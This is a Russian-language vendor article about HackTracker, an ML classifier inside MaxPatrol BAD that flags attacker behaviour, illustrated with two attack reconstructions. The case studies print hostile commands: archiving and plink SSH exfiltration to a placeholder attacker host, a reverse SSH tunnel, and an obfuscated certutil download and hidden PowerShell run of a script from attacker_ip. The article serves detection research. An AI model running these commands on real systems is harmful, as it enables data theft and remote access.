Привычный подход к поиску следов злоумышленника — это анализ артефактов плюс выявление тактик, техник и процедур (TTP). Однако таких признаков очень много, и они существуют в массе вариантов. Модель HackTracker — попытка подойти к проблеме с другой стороны: искать хакера по логике его действий.
- 1. Введение
- 2. Связь с модулем MaxPatrol BAD: что мы берём за основу
- 3. От правил к поведению: эволюция подхода в HackTracker
- 4. Интеграция и применение HackTracker в реальной инфраструктуре
- 5. Не теория: как HackTracker работает на реальных атаках
- 6. HackTracker глазами аналитика SOC
- 7. Будущее HackTracker: эволюция модели и взгляд вперёд
- 8. HackTracker и продуктовая интеграция: ищем наилучший формат
- 9. Выводы
Введение
Хакеры становятся всё менее предсказуемыми. Их арсенал постоянно пополняется новыми инструментами, техниками обхода защиты и методами сокрытия следов. Однако при всём разнообразии технических средств сами действия злоумышленников подчиняются определённой логике. Эта логика — не инструментальная, а поведенческая. Она проявляется в том, как атакующий перемещается по сети и взаимодействует с системами. Именно здесь и возникает возможность для универсального анализа.
Иначе говоря, независимо от применяемых тактик, техник и процедур атакующего (TTP) создаваемые злоумышленником поведенческие аномалии часто имеют одни и те же характерные черты. Более того, не важно, на какой платформе действует хакер — будь то Windows, Unix, macOS или любая другая операционная система, структура поведения, фиксируемая как отклонение от нормы, остаётся схожей. Такие аномалии формируют узнаваемый «почерк» злоумышленника, и их может заметить и обработать MaxPatrol BAD (Behavioral Anomaly Detection) — модуль на базе AI/ML, входящий в состав MaxPatrol SIEM.
На основе подобных закономерностей мы разработали HackTracker — компонент внутри MaxPatrol BAD, формирующий обобщённую модель поведения атакующего. Эта модель не строится вокруг конкретных техник или инструментов, а описывает само поведение хакера как субъекта, действующего в инфраструктуре. Что особенно важно, HackTracker обучен на большом объёме данных, охватывающих широкий спектр хакерской активности. Это даёт ему устойчивость к неизвестным векторам атак и новым TTP, которые ещё не были классифицированы. Такая модель стала возможной благодаря нашему доступу к уникальным датасетам, собранным в ходе расследований инцидентов, киберучений, с реальных инфраструктур и стендов.
Цель статьи — не раскрыть технические детали и внутреннюю реализацию HackTracker, а рассказать о принципах, лежащих в основе технологии, её философии и показать, как она применяется на практике, через реальные примеры.
Связь с модулем MaxPatrol BAD: что мы берём за основу
Связующим звеном между HackTracker и существующей инфраструктурой поведенческого анализа выступает модуль MaxPatrol BAD, предоставляющий не только детектирование аномалий, но и структурированную модель данных, необходимую для дальнейшего моделирования атакующего. Срабатывания индикаторов поведения (Indicators of Behavior) становятся входными признаками, или фичами, для более высокоуровневой метамодели HackTracker. Таким образом, HackTracker строится не на «сырых» логах, а на уже агрегированных, обогащённых и осмысленных сигналах, прошедших через механизмы MaxPatrol BAD.
Алгоритмы скоринга, применяемые в MaxPatrol BAD, обеспечивают фильтрацию фонового шума и акцентируют внимание на действиях, потенциально характеризующих хакера. Эти действия становятся строительными блоками, из которых HackTracker формирует поведенческий образ злоумышленника — независимо от конкретных TTP, но с учётом их контекстного значения в рамках цепочек атак.
Модуль MaxPatrol BAD работает как «глаза и уши» системы: он наблюдает за действиями в инфраструктуре и фиксирует всё, что выходит за рамки нормального поведения. HackTracker, в свою очередь, — это «мозг», который интерпретирует такие сигналы. Специальный алгоритм в нём сопоставляет и объединяет фичи, чтобы оценить, насколько они похожи на уже известные шаблоны — хакерские или легитимные. Иначе говоря, MaxPatrol BAD даёт структурированные сигналы об аномалиях, а HackTracker анализирует эти сигналы во взаимосвязи, чтобы построить поведенческий портрет потенциального хакера.
В основе HackTracker лежит классификатор, обученный на разнообразной хакерской активности, которая происходила в реальной инфраструктуре — у заказчиков, на хостах во время инцидентов, киберучений, кибербитвы The Standoff, — а также на синтетических данных (реконструкции атак по публичным отчётам различных вендоров). Это даёт модели реалистичную и устойчивую основу, охватывающую широкий спектр сценариев атак.
Таким образом, компонент HackTracker в MaxPatrol BAD не просто определяет, есть ли отклонение от нормы: он сравнивает новое поведение с ранее размеченными примерами и выносит суждение, похоже ли оно на поведение злоумышленника или это скорее легитимная активность пользователя.
От правил к поведению: эволюция подхода в HackTracker
На первый взгляд может показаться, что универсальную модель атакующего можно было бы построить и на срабатываниях правил корреляции — они тоже фиксируют подозрительные сценарии. Однако, на мой взгляд, такой подход принципиально ограничен по своей природе. Чтобы понять почему, стоит вернуться к целеполаганию и философии модуля MaxPatrol BAD. Его задача — искать поведенческие аномалии в инфраструктуре, основываясь на нормализованных событиях, вне зависимости от применённых инструментов, техник или конкретных тактик злоумышленника. MaxPatrol BAD не привязан к контексту конкретной TTP или сигнатуре — он фиксирует отклонения от нормы на уровне поведения процессов и их действий.
Когда мы сравниваем метрики (рис. 1) выявления хакерской активности с помощью MaxPatrol BAD и с помощью экспертно написанных правил корреляции, становится очевидно, что MaxPatrol BAD «видит» больше. И это вполне объяснимо: корреляционные правила завязаны на конкретные детекты, которые пишутся вручную, даже если эти правила составлены квалифицированными экспертами. Проблема — в том, что хакеры адаптируются, меняют последовательность шагов, обходят статичные проверки. Корреляции — это реакция на известное. MaxPatrol BAD же работает на поведенческом уровне, независимо от того, каким инструментом была вызвана аномалия.
Именно поэтому, по моему мнению, фичи, полученные от MaxPatrol BAD, являются лучшей основой для построения обобщённой модели хакера в рамках компонента HackTracker. Они не завязаны на «ручной» интеллект, не страдают от устаревания и обеспечивают более широкий охват. HackTracker как ИИ-инструмент использует это преимущество для построения живой, адаптивной модели, способной описывать действия злоумышленника даже в новых, нестандартных сценариях.
Рисунок 1. Метрики от прогонов датасетов с хакерской активностью
На схеме можно увидеть сравнение метрик между модулем MaxPatrol BAD и правилами корреляции. Сравнивались только типы событий, которые анализируются модулем MaxPatrol BAD и подпадают под детектирующую логику правил корреляции. Мы прогоняли большое количество датасетов, собранных из различных хакерских атак. Поясним цветовые обозначения на рисунке:
- Полная площадь квадрата — общее количество событий в датасете (сумма всего).
- Красная область — события, которые были оценены модулем MaxPatrol BAD как поведенческие аномалии.
- Белая область — пересечение: события, которые были оценены MaxPatrol BAD и одновременно сработали по логике правил корреляции.
- Бирюзовая область — наоборот, события, которые не попали в MaxPatrol BAD, но были задетектированы через корреляционные правила.
Вывод: модуль MaxPatrol BAD обеспечивает гораздо более широкий и устойчивый охват подозрительной активности по сравнению с правилами корреляции, что делает его отличной основой для имплементации моделей, подобных HackTracker.
Интеграция и применение HackTracker в реальной инфраструктуре
Интеграция компонента HackTracker с существующими системами безопасности происходит естественным образом, поскольку он является частью модуля MaxPatrol BAD и работает поверх уже существующей логики поведенческого анализа. Это означает, что HackTracker может быть встроен в любые системы, которые используют MaxPatrol BAD как источник данных. В частности, в связке с системой MaxPatrol SIEM HackTracker может отправлять свои вердикты («True» / «False») по каждой проанализированной аномалии, то есть по каждому срабатыванию индикатора поведения, зафиксированному модулем MaxPatrol BAD (рис. 3).
Сценарий работы — следующий: каждое срабатывание индикатора поведения, у которого ненулевой уровень риска (risk score), направляется в HackTracker, где проходит сопоставление с обученным классификатором. Специальный алгоритм оценивает, насколько данная активность похожа на известные хакерские шаблоны поведения, после чего присваивается вердикт — «True», если поведение действительно напоминает хакерское, и «False», если оно ближе к легитимному.
Также HackTracker может быть интегрирован с другими решениями, такими как ИИ-система MaxPatrol O2, где его выводы могут использоваться в качестве инцидентов с высоким уровнем достоверности. Таким образом, HackTracker становится дополнительным уровнем фильтрации и интерпретации данных, обеспечивая более точную и адаптивную реакцию на подозрительные действия внутри инфраструктуры.
Заметим, что мировая практика кибербезопасности постепенно движется в сторону упрощения внедрения и эксплуатации технологий. Всё меньше заказчиков хотят тратить ресурсы на сложные интеграции, тонкую настройку и ручное сопровождение. HackTracker следует этому тренду. Достаточно, чтобы в инфраструктуре уже работал MaxPatrol BAD с настроенным аудитом: HackTracker начнёт давать результаты практически сразу после подключения.
Так же как и модуль MaxPatrol BAD, HackTracker:
- не требует ручной настройки после развёртывания,
- не нуждается в правилах корреляции или регулярном их обновлении,
- не требует обучения на стороне клиента, классификатор обучается и дообучается на нашей стороне.
Для запуска HackTracker в инфраструктуре нужны лишь нормализованный поток событий, поступающий в MaxPatrol BAD, и корректно настроенный аудит Windows (включая Security Log, Sysmon и Audit Policy).
Не теория: как HackTracker работает на реальных атаках
Теперь перейдём к практическому применению компонента HackTracker. Чтобы не быть голословным, я приведу два кейса, иллюстрирующих, как работает модель на реальных и приближённых к реальности данных.
Первый кейс — это реконструкция одной из целевых атак, ранее описанных зарубежным вендором, а именно Microsoft. Я воссоздам последовательность действий злоумышленника, отразив ключевые события атаки, и подготовлю на этой основе тестовый датасет. Эти данные будут прогнаны через HackTracker для демонстрации того, как модель классифицирует активность и выделяет поведенческие отклонения.
Второй кейс основан на реальных данных, собранных в результате настоящей хакерской активности. Эти данные легли в основу обучающих выборок для HackTracker, и в этом кейсе будет показано, как модель справляется с распознаванием паттернов поведения на практике — в условиях, максимально приближенных к продуктивной среде.
Кейс № 1: реконструкция атаки Marbled Dust (Microsoft)
Для первого практического примера я взял хорошо задокументированную атаку группы Marbled Dust, описанную Microsoft в блоге 12 мая 2025 года. Это кибершпионская кампания с использованием уязвимости «нулевого дня» в Output Messenger (CVE-2025-27920). В своём разборе я реконструирую последовательность действий атакующих, начиная с момента компрометации приложения, то есть уже после того, как был получен доступ к серверу. Далее я подробно разберу, какие шаги предпринимались злоумышленниками — от закрепления в системе, загрузки вредоносного содержимого, взаимодействия с файлами и сетевыми объектами до удалённого управления и эксфильтрации данных.
Важно отметить, что это именно реконструкция. Среди прочего, в отчёте Microsoft не всегда можно восстановить полную хронологию действий. Часть шагов и команд я добавил самостоятельно, сохраняя при этом общую логику атаки. В частности, некоторые команды, которые в реальной атаке выполнялись на клиентской стороне, я перенёс в серверную часть — в ту фазу, где происходит эксплуатация и запуск бэкдора.
Это сделано для того, чтобы продемонстрировать, что вне зависимости от начального вектора после удалённого запуска кода (RCE) злоумышленнику необходимо выполнять команды уже на стороне сервера. Такой перенос оправдан в рамках реконструкции, поскольку позволяет представить полную поведенческую цепочку с учётом последовательности RCE и дальнейшего выполнения команд через cmd.exe, winrar.exe и plink.exe.
От себя я также добавил несколько логически обоснованных этапов, которых не было в оригинальном отчёте Microsoft, но которые вполне могли бы иметь место в подобной атаке. В частности, это поднятие SSH-туннеля с заражённого узла наружу, а также горизонтальное перемещение (lateral movement) на другой внутренний хост. Такая логика обусловлена тем, что злоумышленник вряд ли ограничится только эксфильтрацией данных с одного уязвимого хоста. С высокой вероятностью после первичного доступа и встраивания бэкдора он постарается закрепиться глубже в инфраструктуре, получить устойчивый канал управления и расширить зону компрометации через перемещение внутри сети.
Шаги приведены в логическом порядке, с краткими пояснениями артефактов на каждом этапе.
- Получение первоначального доступа (path traversal)
Злоумышленник находит и эксплуатирует уязвимость CVE-2025-27920 в службе Output Messenger Server Manager (OMServerManager.exe). В процессе OMServerManager.exe появляется возможность записать файлы вне своего рабочего каталога.
- Размещение вредоноса на сервере
Сразу после успешной эксплуатации уязвимости OMServerManager.exe создаёт три ключевых артефакта:
- OMServerService.vbs в папке автозагрузки: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\OMServerService.vbs
- OM.vbs в той же папке: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\OM.vbs
- Golang-бэкдор OMServerService.exe в каталоге: C:\Users\Public\Videos\OMServerService.exe
- Автозапуск через Windows Shell
При следующем входе пользователя (или перезагрузке) Windows запускает explorer.exe, который в свою очередь порождает:
wscript.exe "…\StartUp\OMServerService.vbs"
За ним —
wscript.exe "…\StartUp\OM.vbs"
Эти два последовательных вызова VBS-скриптов подготавливают среду и в конечном счёте вызывают OMServerService.exe.
- Запуск серверного бэкдора и C2-коммуникация
Исполняется C:\Users\Public\Videos\OMServerService.exe — двоичный файл на Golang, замаскированный под легитимный сервис. Он устанавливает HTTPS-связь с доменом C2 (hxxps://api.wordinfos.com), отправляет информацию о хосте и ожидает дальнейших команд от оператора.
- Выполнение команд через командную оболочку
Получив указание от C2, бэкдор вызывает встроенный cmd.exe для запуска цепочки команд:
cmd.exe /c "C:\Program Files\WinRAR\rar.exe a -r C:\Users\Public\Desktop\CollectedData.rar C:\Users\Public\Data\*.* && C:\Program Files\PuTTY\plink.exe -batch -ssh attacker@attacker_ip -pw password -m commands.txt"
- Архивация данных (RAR)
Команда
C:\Program Files\WinRAR\rar.exe a -r C:\Users\Public\Desktop\CollectedData.rar C:\Users\Public\Data\*.*
собирает все целевые файлы из папки «C:\Users\Public\Data\» в один архив «CollectedData.rar» на рабочем столе.
- Эксфильтрация через SSH (PuTTY / plink)
После упаковки данных бэкдор сразу вызывает
C:\Program Files\PuTTY\plink.exe -batch -ssh attacker@attacker_ip -pw password -m commands.txt
Это устанавливает SSH-сессию и грузит архив на сервер злоумышленника по безопасному каналу.
- Поднятие туннеля во внутреннюю сеть
"C:\Windows\System32\OpenSSH\ssh.exe" kali@attacker_ip -R 127.0.0.1:1111 -f -n -N -o StrictHostKeyChecking=no
- Горизонтальное перемещение на внутренний хост
Здесь цепочка завершается. Реконструкция готова.
Рисунок 2. Дерево процессов в результате эксплуатации уязвимости «нулевого дня»
На основе этой реконструкции подготовлен датасет, содержащий нормализованные события на уровне хоста, имитирующие поведение атакующего. Эти данные прогнаны через MaxPatrol BAD для извлечения поведенческих фич, после чего переданы в HackTracker. HackTracker сравнил поведенческий профиль с обученным классификатором и выдал вердикт: аномальная активность содержит признаки хакерской активности.
Рисунок 3. Срабатывание HackTracker на реконструкцию атаки
Кейс № 2: от реконструкции к реальности — анализ атаки в продуктивной среде
В рамках второго кейса я использую датасет, собранный после реализации одного из сценариев тестирования целевого фишинга на внутренних пользователях компании. Этот сценарий был в том числе продемонстрирован на стенде MaxPatrol BAD на конференции Positive Hack Days (PHDays). Атака представляет собой целевой фишинг против пользователя с последующим заражением бэкдором, разведкой и поднятием туннеля во внутреннюю сеть, а затем горизонтальное перемещение на удалённый хост.
В отличие от первого кейса, основанного на реконструкции чужого отчёта, этот пример демонстрирует «чистое» поведение атакующего — без допущений, дополненных шагов или предположений. Это максимально приближено к тому, как злоумышленник реально действует в настоящей инфраструктуре, и позволяет оценить работу модели в условиях, близких к продуктивной эксплуатации.
- Открытие вредоносного документа через Outlook
Процесс WINWORD.EXE запускается с параметрами:
"…\Office16\WINWORD.EXE" /n "…\INetCache\Content.Outlook\1BUWTSE1\Зарплатная ведомость за март 2025.docm" /o "
- Запуск «1С:Предприятие», создание и исполнение BAT-скрипта
Вызывается процесс 1cv8.exe, после чегомакрос генерирует и запускает временный скрипт:
cmd.exe /c "C:\Users\user\AppData\Local\Temp\xAC40A.bat"
При этом сам файл «xAC40A.bat» создаётся в %Temp%.
- Загрузка PowerShell-скрипта при помощи certutil. Команда запуска обфусцирована
"ceR\"tUT\"IL.exe -U\"Rl\"Ca\"CH\"E -S\"p\"LiT -f h\"tt\"p://attacker_ip:8080/i\"nc.p\"s1",
- Запуск PowerShell-скрипта. Команда запуска обфусцирована
"C:\\Windows\\Sysnative\\WindowsPowerShell\\v1.0\\powershell.exe -Ex\"ec\"u\"ti\"onPol\"icy\" B\"y\"p\"a\"ss -W\"in\"do\"wS\"t\"yle\" Hi\"dden\" -Fi\"le\" inc.ps1"
- Динамическая компоновка ресурсов
Запускается утилита .NET:
cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES6A2E.tmp" "C:\Users\user\AppData\Local\Temp\CSC761CC149BE8A4CB7A3C9C2A59BD43A54.TMP"
- Разведка среды (Discovery)
cmd.exe /c ipconfig — получение конфигурации сетевых интерфейсов
cmd.exe /c whoami — выяснение текущей учётной записи и привилегий
cmd.exe /c qwinsta — проверка активных пользовательских сессий
- Установка обратного SSH-туннеля
Используется OpenSSH:
ssh kali@attacker_ip -R 127.0.0.1:1111 -f -n -N -o StrictHostKeyChecking=no
- Горизонтальное перемещение на внутренний хост
Здесь цепочка заканчивается.
Рисунок 4. Дерево процессов фишинговой атаки
По итогам прогона этого датасета через модуль MaxPatrol BAD также были извлечены поведенческие фичи, отражающие ключевые отклонения в активности. Эти фичи поступили в HackTracker, где были сопоставлены с обученным классификатором хакерского поведения. HackTracker проанализировал полученную последовательность действий и выдал свой вердикт (рис. 4) — насколько данная активность соответствует известным паттернам поведения злоумышленников.
Рисунок 5. Срабатывание HackTracker
Суммарно два приведённых кейса демонстрируют, как HackTracker способен эффективно выявлять хакерскую активность в самых разных условиях — как на основе публичных исследований, так и на реальных данных из инфраструктур. В первом случае мы показали, что даже атаки с использованием уязвимости «нулевого дня» и сложной логики действий могут быть смоделированы на основе открытых отчётов, прогнаны через MaxPatrol BAD и успешно классифицированы HackTracker’ом. Это подтверждает, что мы можем собирать и использовать датасеты из публичных источников, включая исследования крупных вендоров, и при этом демонстрировать потенциальным клиентам, что такие атаки не останутся незамеченными.
Во втором кейсе мы использовали реальный сценарий атаки без реконструкции — пример хакерской активности, зафиксированной в «боевых» условиях. HackTracker успешно классифицирует подобные случаи, опираясь на реальные паттерны поведения, извлечённые из хостовой активности.
Тем самым мы демонстрируем, что HackTracker уверенно работает и на проверенных публичных кейсах, и на реальных инцидентах, встречающихся в продуктивной инфраструктуре. Это позволяет использовать его как универсальный инструмент поведенческого уровня для обнаружения атак — независимо от источника или сценария.
HackTracker глазами аналитика SOC
Представим ситуацию: вы аналитик SOC. Все консоли и дашборды молчат, никаких тревог нет. Тем не менее в этот момент в инфраструктуре может уже разворачиваться хакерская активность. Однако достаточно нажать одну кнопку или выполнить один запрос к HackTracker, чтобы получить ответ — есть ли в сети следы атакующего.
Этот процесс можно представить как воронку уровней анализа:
- На верхнем уровне — поток нормализованных событий и правила корреляции, которые часто дают много шума.
- На среднем уровне — те же правила, но уже подсвеченные скорингом от MaxPatrol BAD, где на первый план выходят действительно значимые сигналы.
- На нижнем, самом прикладном уровне — HackTracker. Его модель собирает все события атаки в целостную поведенческую картину и даёт простой и прикладной ответ: есть хакер или нет.
Таким образом, аналитик SOC переходит от анализа тысяч событий и шумных корреляций к одному чёткому результату, что резко упрощает работу, ускоряет реагирование и повышает эффективность защиты.
Будущее HackTracker: эволюция модели и взгляд вперёд
Важно и то, что HackTracker — это развивающаяся модель. Мы уже сейчас обучили её на большом объёме реальной хакерской активности — из инцидентов, стендов, киберучений и публичных исследований. В дальнейшем мы будем регулярно дообучать модель на новых сценариях атак, включая редкие и нестандартные, чтобы повышать её адаптивность к постоянно меняющемуся ландшафту угроз.
И хотя HackTracker продолжает развиваться и учиться, уже на текущем этапе он демонстрирует высокие значения метрик качества классификации, как на симулированных данных, так и на реальных. В будущем мы планируем делиться результатами этих измерений в отдельных публикациях, чтобы подробнее рассказать о точности, чувствительности и практической применимости модели.
HackTracker и продуктовая интеграция: ищем наилучший формат
Мы рассматриваем несколько вариантов его применения — в составе MaxPatrol SIEM, как часть ИИ-системы MaxPatrol O2 или как дополнительный источник контекста и сигналов об атаке в других решениях. Возможности технологии позволяют гибко встраивать её в разные части экосистемы ИБ, и сейчас мы ведём работу над тем, где она даст наибольшую ценность.
Чтобы первыми узнать о запуске, следите за публикациями и новостями MaxPatrol SIEM — в ближайшее время функциональность компонента HackTracker станет доступна заказчикам.
Выводы
В заключение хочется отметить, что HackTracker — это не «волшебная кнопка», а технологически зрелый, вполне прикладной инструмент, построенный на возможностях модуля MaxPatrol BAD. Он работает только с теми типами событий, которые собирает MaxPatrol BAD, а это значит, что он не охватывает весь спектр возможной активности в инфраструктуре, особенно если речь идёт о низкоуровневых, редких или нестандартизированных событиях.
Модель HackTracker не занимается прямым поиском вредоносного кода. Его задача — анализировать и выявлять поведение атакующего в инфраструктуре. Если вредоносная программа используется в процессе атаки и становится частью действий злоумышленника, HackTracker с большой вероятностью зафиксирует и этот элемент. Но ключевой фокус — это поведенческие сценарии, отражающие реальную работу хакера в системе: перемещение по хостам, разведка, закрепление, выполнение команд и т. д. HackTracker способен обнаруживать значительное число атак, не зависящих напрямую от активности конкретного вредоносного кода, но связанных с общей тактикой и стратегией злоумышленника.
Кроме того, важно понимать, что HackTracker не предназначен для обнаружения атак на самой ранней стадии — он не «ловит» одиночные запуски скриптов или единичные подозрительные процессы, это задача MaxPatrol BAD. Задача HackTracker — распознать развёрнутую активность злоумышленника, когда на хосте уже происходят множественные аномальные действия: разведка, перемещение, взаимодействие с файлами, поднятие туннелей и т. д. Именно в таких ситуациях HackTracker наиболее эффективен — он «видит» не конкретную команду, а стиль и логику поведения.
MaxPatrol BAD генерирует поведенческие аномалии — срабатывания индикаторов поведения (IoB), фиксирующие отклонения от нормы в действиях процессов и пользователей. Однако аномалия и хакерская активность — это не одно и то же: часть аномалий объясняется легитимным, но нестандартным поведением. Финальное решение по срабатыванию должен выносить классификатор, который интерпретирует аномалии в контексте известных хакерских и легитимных шаблонов. В рассматриваемой схеме именно за эту функцию отвечает ML-модель HackTracker. Иначе говоря, HackTracker не заменяет MaxPatrol BAD — он работает поверх него и использует фичи, которые формирует MaxPatrol BAD. Без MaxPatrol BAD HackTracker просто не сможет функционировать.
HackTracker — это дополнительный слой обнаружения в виде предобученной экспертами модели, который не требует доступа в интернет, поэтому он может устанавливаться в технологические сети, закрытые сегменты и любые другие изолированные зоны, где обрабатывает данные локально, не передавая их за пределы инфраструктуры заказчика. Благодаря этому HackTracker можно разворачивать в любых условиях — от корпоративных сетей до изолированных промышленных сегментов — и получать готовый инструмент, усиливающий MaxPatrol BAD и расширяющий возможности SOC.
При этом ML-классификатор — не единственный возможный подход к интерпретации аномалий из MaxPatrol BAD. Вскоре мы покажем облачный HackTracker для MaxPatrol BAD, который будет выносить вердикт по срабатываниям, опираясь на собственные алгоритмы и LLM. Это даст ещё один независимый «второй слой» поверх MaxPatrol BAD и расширит имеющиеся возможности, позволив нам сравнивать разные модели интерпретации поведенческих аномалий и предлагать заказчикам наиболее эффективные сочетания.
Среди прочего, HackTracker особенно полезен для начинающих SOC-команд, которые ещё не выстроили собственную систему корреляций и ручного анализа. В таких условиях можно опираться на вердикты HackTracker как на источник высокоуровневых выводов о потенциальной хакерской активности. Это не снимает необходимости развивать экспертизу, но даёт надёжную опору — особенно при отсутствии постоянного мониторинга или штатных аналитиков.
